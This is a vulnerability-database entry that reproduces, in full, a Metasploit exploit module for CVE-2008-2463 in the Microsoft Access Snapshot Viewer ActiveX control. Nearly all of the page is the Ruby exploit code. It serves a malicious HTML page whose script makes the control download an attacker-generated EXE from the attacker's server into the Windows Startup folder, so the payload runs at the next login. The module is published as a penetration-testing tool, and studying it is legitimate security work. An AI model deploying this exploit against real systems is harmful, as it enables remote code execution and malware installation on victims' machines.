Snapshot Viewer for Microsoft Access ActiveX Control Arbitrary File Download

2008-10-0122:40:57

MC <[email protected]>

www.rapid7.com

CVSS2

6.8

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

EPSS

0.97

Percentile

99.8%

JSON

This module allows remote attackers to place arbitrary files on a users file system via the Microsoft Office Snapshot Viewer ActiveX Control.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Snapshot Viewer for Microsoft Access ActiveX Control Arbitrary File Download',
      'Description'    => %q{
          This module allows remote attackers to place arbitrary files on a users file system
        via the Microsoft Office Snapshot Viewer ActiveX Control.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'MC' ],
      'References'     =>
        [
          [ 'CVE', '2008-2463' ],
          [ 'OSVDB', '46749'],
          [ 'MSB', 'MS08-041' ],
          [ 'BID', '30114' ],
        ],
      'Payload'        =>
        {
          'Space'           => 2048,
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', { } ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2008-07-07'))

    register_options(
      [
        OptString.new('PATH', [ true, 'The path to place the executable.', 'C:\\\\Documents and Settings\\\\All Users\\\\Start Menu\\\\Programs\\\\Startup\\\\']),
      ])
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)

    payload_url =  "http://"
    payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
    payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/payload"

    if (request.uri.match(/payload/))
      return if ((p = regenerate_payload(cli)) == nil)
      data = generate_payload_exe({ :code => p.encoded })
      print_status("Sending EXE payload")
      send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
      return
    end

    vname  = rand_text_alpha(rand(100) + 1)
    exe    = rand_text_alpha(rand(20) + 1)

    content = %Q|
    <html>
    <head>
      <script>
      try {
        var #{vname} = new ActiveXObject('snpvw.Snapshot Viewer Control.1');
        #{vname}.SnapshotPath = "#{payload_url}";
        #{vname}.CompressedPath = "#{datastore['PATH']}\\#{exe}.exe";
        #{vname}.PrintSnapshot();
      } catch( e ) { window.location = 'about:blank' ; }
      </script>
    </head>
    </html>
        |

    print_status("Sending #{self.name}")

    send_response_html(cli, content)

    handler(cli)

  end
end